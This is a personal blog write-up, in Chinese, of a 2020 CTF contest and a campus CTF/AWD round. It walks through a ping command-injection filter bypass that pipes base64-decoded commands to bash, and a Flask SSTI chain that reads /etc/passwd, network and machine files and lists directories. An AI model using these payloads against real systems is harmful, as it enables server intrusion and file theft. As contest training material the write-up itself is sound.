Featured image of post 祥云杯 校赛 Write-up

祥云杯 校赛 Write-up

祥云杯 校内赛 Write-up

祥云杯

比赛时间:2020.11.21 9:00 - 2020.11.22 21:00

比赛形式:CTF

签到题

ZmxhZ3txcV9ncm91cF84MjY1NjYwNDB9

目测base64加密,解密得到flag

还是原来的 Ping ?

网上稍微查查可以发现ping的命令绕过,这就是个命令绕过题

先试试输入127.0.0.1|ls

有回显

接着试错过滤字符,<space>&>cat'flag等等被过滤了,但是"%\并没有被过滤

那就构造127.0.0.1|ca"t"<./sou.js

有回显

接下来需要寻找flag,基本命令就是

1
find / -name "*flag*"

空格可以用%09进行绕过({}也被过滤了,无法使用{IFS}),比较难解决的就是flag了,在flag掺杂"/\均无法绕过,看来不是单纯的字符检测,那就使用base64试试

将上面的基本命令用base64加密得ZmluZCAvIC1uYW1lICIqZmxhZyoi

构造如下payload进行尝试

1
127.0.0.1|echo%09ZmluZCAvIC1uYW1lICIqZmxhZyoi|base64%09-d|bas\h

基本原理就是利用管道符|echo命令的值传给base64命令,base64对base64内容解密并传给bash命令

可以说我就是在这里卡住了,因为没有任何输出信息

后来朋友提示了我说把payload放到url输入试试,结果惊奇发现有了回显,才反应过来浏览器自动对特殊字符进行了url编码,而linux并不会自动将%25自动替换成%或者将%7C自动替换成|之类的,这就导致了无回显

回显如下(我手动对齐了一下)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Result:/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/dummy0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/usr/lib/perl/5.18.2/bits/waitflags.ph
/etc/.findflag
/etc/.findflag/flag.txt
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/kpageflags

/etc/.findflag/flag.txt便是flag所在位置了,先记下来

既然对flag过滤了,那么接下来cat也需要使用base64进行构造

执行命令为

1
ca\t /etc/.findf\lag/f\lag.txt

base64加密得Y2FcdCAvZXRjLy5maW5kZlxsYWcvZlxsYWcudHh0

最终payload

1
127.0.0.1|echo%09Y2FcdCAvZXRjLy5maW5kZlxsYWcvZlxsYWcudHh0|base64%09-d|bas\h

取得flag

Result:flag{9f1a16d4-5f5c-4104-8e18-6c73621531ef}

flaskbot

这是一道SSTI

SSTI: Server-Side Template Injection

试着输入username: iyume

试着输入num: 777

会出来一个 html 纯文本页面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
1:500000000.0 is too large
2:250000000.0 is too large
3:125000000.0 is too large
4:62500000.0 is too large
5:31250000.0 is too large
6:15625000.0 is too large
7:7812500.0 is too large
8:3906250.0 is too large
9:1953125.0 is too large
10:976562.5 is too large
11:488281.25 is too large
12:244140.625 is too large
13:122070.3125 is too large
14:61035.15625 is too large
15:30517.578125 is too large
16:15258.7890625 is too large
17:7629.39453125 is too large
18:3814.69726562 is too large
19:1907.34863281 is too large
20:953.674316406 is too large
21:476.837158203 is too small
22:715.255737305 is too small
23:834.465026855 is too large
24:774.86038208 is too small
25:804.662704468 is too large
26:789.761543274 is too large
27:782.310962677 is too large
28:778.585672379 is too large
29:776.723027229 is too small
30:777.654349804 is too large
31:777.188688517 is too large
32:776.955857873 is too small
33:777.072273195 is too large
34:777.014065534 is too large
35:776.984961703 is too small
36:776.999513619 is too small
37:777.006789576 is too large
38:777.003151597 is too large
39:777.001332608 is too large
40:777.000423113 is too large
41:776.999968366 is too small
42:777.00019574 is too large
43:777.000082053 is too large
44:777.000025209 is too large
45:776.999996788 is too small
45:776.999996788 is close enough
I win

二分法逼近,数字肯定无法胜利,寻找别的方法

首先是信息搜集,利用debugger的栈查看上下文,尝试input num type error404username error,分别出现三个报错页面,如下图

  • input num type error

    信息点:对输入的username进行了base64加密并储存在cookie:user内,然后访问的时候会取得cookie:user内的值进行解密并储存在name这个内部变量

  • 404

    信息点:有一个render_template_string(),极大可能是注入点,它的传参是使用%s获取的,因此可以注入模板,guessNum()应该就是猜数字的函数,传参为numnamename就是在上一个信息点得知的username,但是显然他并没有打印出任何与name相关的东西,比如iyume vs bot之类的,有可能是在人胜利时才会输出

  • username error

    信息点:有一个render_template(),但这个调用模板的函数并不像render_template_string(),它的传参是变量取值的形式,任何字符都无法注入,硬要说注入的话只可能是第一个参数(但一般没有人会去让用户控制网页名吧),因此这只能当作一个无用信息点

根据第二点,试着把cookie:user改成比如e3syKjd9fQ==(base64decode={{2*7}})

因为是render_template()输出的这个页面,payload的回显合乎情理

另寻途径

Python 中有一种空值类型(float)NaN,可以通过 float('nan') 得到

float('inf') 得到无限大,负的则为无限小

NaN 与任何数进行任何比较都会返回 false,那试着在数字框输入 NaN

1
2
3
4
5
1:500000000.0 is too small
2:750000000.0 is too small
...
51:1000000000.0 is too small
Wow! Damn you hacker! You will never win.

看来这里是我赢了,但是可能payload中有特殊字符被过滤了

cookie:user的值换成e3syfX0=(decode={{2}})

1
Wow! 2 win.

输出了我的胜利,并且\{\{2\}\}成功被渲染成了2

至此,SSTI注入点确定

接下来有两种思路

  • 直接寻找flag并读取
  • 收集系统信息生成pinhack shell

Pin 码 Getshell

先讲讲第二种,因为我没能成功

  • 生成pin所需系统信息(算法不贴了)

    1. username
    2. modname
    3. app.__class__.’__name__'
    4. app_path
    5. eth0_mac
    6. machine-id

在报错页面已经取得了信息234

基本构造

1
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

成功得到回显

1
Wow! root:x:0:0:root:/root:/bin/ash bin:x:1......spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin win.

信息1应该就是guest

接着构造

1
{{''.__class__.__mro__[2].__subclasses__()[40]('/sys/class/net/eth0/address').read()}}

得到回显00:16:3e:03:ee:c0

python shell执行print(0x00163e03eec0)即可获取信息5

接着构造

1
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/machine-id').read()}}

返回debugger提示No Such file or dir,又试了试/var/lib/dbus/machine-id,还是没有此文件,后来去列了一下目录,发现根本没有这个文件,看来是被动了手脚…以 失败 告终

直接寻找 flag

构造

1
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('/')}}

被过滤了

排查后发现被过滤的字符是os,那就替换成'o'+'s'

1
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['o'+'s'].listdir('/')}}

成功得到回显

1
['proc', 'home', 'mnt', 'dev', 'srv', 'usr', 'sys', 'var', 'opt', 'bin', 'sbin', 'etc', 'run', 'media', 'tmp', 'root', 'lib', 'super_secret_flag.txt', 'app']

显然super_secret_flag.txt就是 target 了

但它也对flag进行了过滤

那么构造如下payload

1
{{''.__class__.__mro__[2].__subclasses__()[40]('/sup'+'er_se'+'cret_fl'+'ag.txt').read()}}

得到回显

1
Wow! flag{4e713984-b085-412d-8b8b-c95bbf4f44b9} win.

成功取得flag

注意点

  • 模板对system关键字进行了过滤,因此继承类''.__class__.__mro__[2].__subclasses__()[71]下调用os.system是没用的,目前没有绕过方案

总结

祥云杯的水份还是挺高的,题目共有 31 道

  • Misc 6
  • Crypto 6
  • PWN 6
  • Reverse 7
  • Web 6

除了签到题,基本每道题都非常难,也非常有意思(

Misc 有一道题目叫做进制反转,我的基本思路是CRC 修复然后解压文件进行二进制按位取反?正拿着python提取了16进制数据,又听大佬说硬解 au 原始数据导入倒放 x.5 然后搜歌词,我就停手了(菜死了

比赛过程还学了一下RSA加密原理,虽然最后还是不会解题(

对了,这个比赛的积分制度是一血(没有额外奖励)、以及动态积分模式(根据解出题目的队伍数减少相应的分值)

关于组队,因为我也没加入协会(还没开始纳新),然后就个人参赛了。此外我们学校我所知的还有很多队伍,第一的那队解题数量11,排名好像是省内高校14,但省内高校出赛名额只有3个,所以我们学校也没有队伍晋级线下赛。

至于我的排名,解题数量4,积分179,我只知道是校内第5,省内高校估计排到80多的样子

校内赛的预赛已经过了,决赛形式是CTF+AWD,还没开始,因此做保留

还想到别的什么再作补充

校赛

比赛时间:2020-12-06 9:00-11:30, 14:00-15:30

比赛形式:CTF + AWD

其实只有 CTF 可以讲,AWD 完全不会玩。

而且题目名称很多都忘了…就随便写了

Not only base64

7JJ3vECw1FBbqNxmQrcrd8toHvUiY

听题目名字就知道这是 base 系的加解密

目测没什么特征,一个一个试,最终是用 base58 解出来了

1
flag{n0t_on1y_base64}

base58 很多人可能不知道这是什么,因为在日常生活确实不常见,但并不代表它用处不大,实际上比特币的钱包地址和私钥都是 base58 加密生成的。

Web 第二题

就是一道基础题,直接 hackbar 都可以解决,没有环境不讲了

Web 第三题

有时候阅读文档是一件很重要的事情

由于出题人的锅,这题端口号给错了,导致我以为这是一道 0day,搞了好半天。后来比赛结束了直接就去问了出题人,他也是才发现端口给错了。不过后来用正确的端口号为我们讲解了一下题目。

没有环境,我就随便说说算了。

网页中提示我们去看文档,并且给了个 GET 参数,值是一个函数。提交这个参数会调用对应的函数。那就需要一个可以返回所有函数的函数,这时候去读文档,可以发现 get_defined_functions 这个函数可以满足需求,于是直接 GET,只返回了一个函数,就是获取 flag 的函数,再调用一次就拿到了 flag

Misc 1

给了个 jpg 图片,查看属性-详细信息,描述里就写着 flag

Misc 2

给了个 jpg 图片,直接点开发现是不支持的格式,直接改后缀 zip,里面有 50 张二维码图片,扫码试试得不到 flag,但是发现了一张体积异常的图片,解压出来查看属性-详细信息,得到 base64 字符串,解密得 flag

Misc 3 / 4

这两题异曲同工,都是 zip 伪加密、高级伪加密,binwalk 一梭子解决。

好吧,其实我不是这么解的。我的解法很蠢。

用 010 Editor 打开 zip,把 Misc 3 的目录加密位、文件加密位改掉就可以直接打开了。把 Misc 4 的伪加密也全部去掉,但是并不能打开,直接手动提取 16 进制,把第二个文件 Tips.txt 解压了出来可以直接打开,但是第一个文件 flag.txt 还是有加密无法打开,后来发现是我漏了一处伪加密没有去掉。

Tips.txt 写了字频统计,那就对 flag.txt 进行字频统计呗。这里其实最好使用自己的脚本,因为在线的大多不支持长字符串。

Misc 5 同样也是伪加密,全部去掉解压,可以发现 flag.txt 里面写了一些描述,我记得有86QQMusic给我一杯牛奶之类的,是一道社工题,打开 QQ 音乐搜就是了,一般就是第 86 号里写的那个评论。

Reverse

想什么呢。我不会逆向,连 IDA 都没装。

AWD

为了准备 AWD 比赛,我甚至自己搭建了一个环境分享给学长一起来玩。

地址: https://github.com/mo-xiaoxi/AWD_CTF_Platform

实际到比赛的时候,我也挺傻的,我在比赛结束前 10min 才发现每队的 root 账密就在大屏幕上写着,因为整个比赛就 1h30min,因为我太傻就基本都在划水…只能看着别的队伍拿分,还在想对方到底是怎么通过那个 Web 服务拿到 shell 的

Web 服务有个注入漏洞,进入管理页面可以发现很明显的文件包含漏洞。不过发现的时候,已经比赛快结束了。

以及,比赛服务器太弱鸡了,全场都没怎么快过。

CC BY-NC-SA 4.0 License
最后更新于 2021-10-25 02:00